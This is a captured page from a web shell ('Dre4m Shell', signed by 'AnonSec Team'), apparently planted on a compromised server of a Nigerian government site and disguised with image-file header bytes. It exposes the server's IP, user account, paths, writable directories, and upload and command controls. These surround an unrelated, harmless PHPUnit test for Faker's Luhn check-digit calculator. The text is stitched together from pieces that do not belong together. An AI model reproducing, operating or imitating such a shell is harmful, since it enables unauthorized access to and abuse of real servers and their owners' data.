ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.15.226.243
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/fzaninotto/faker/test/Faker/Calculator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/fzaninotto/faker/test/Faker/Calculator/LuhnTest.php
<?php

namespace Faker\Test\Calculator;

use Faker\Calculator\Luhn;
use PHPUnit\Framework\TestCase;

class LuhnTest extends TestCase
{

    public function checkDigitProvider()
    {
        return array(
            array('7992739871', '3'),
            array('3852000002323', '7'),
            array('37144963539843', '1'),
            array('561059108101825', '0'),
            array('601100099013942', '4'),
            array('510510510510510', '0'),
            array(7992739871, '3'),
            array(3852000002323, '7'),
            array('37144963539843', '1'),
            array('561059108101825', '0'),
            array('601100099013942', '4'),
            array('510510510510510', '0')
        );
    }

    /**
     * @dataProvider checkDigitProvider
     */
    public function testComputeCheckDigit($partialNumber, $checkDigit)
    {
        $this->assertInternalType('string', $checkDigit);
        $this->assertEquals($checkDigit, Luhn::computeCheckDigit($partialNumber));
    }

    public function validatorProvider()
    {
        return array(
            array('79927398710', false),
            array('79927398711', false),
            array('79927398712', false),
            array('79927398713', true),
            array('79927398714', false),
            array('79927398715', false),
            array('79927398716', false),
            array('79927398717', false),
            array('79927398718', false),
            array('79927398719', false),
            array(79927398713, true),
            array(79927398714, false),
        );
    }

    /**
     * @dataProvider validatorProvider
     */
    public function testIsValid($number, $isValid)
    {
        $this->assertEquals($isValid, Luhn::isValid($number));
    }

    /**
     * @expectedException        InvalidArgumentException
     * @expectedExceptionMessage Argument should be an integer.
     */
    public function testGenerateLuhnNumberWithInvalidPrefix()
    {
        Luhn::generateLuhnNumber('abc');
    }
}

Anon7 - 2022
AnonSec Team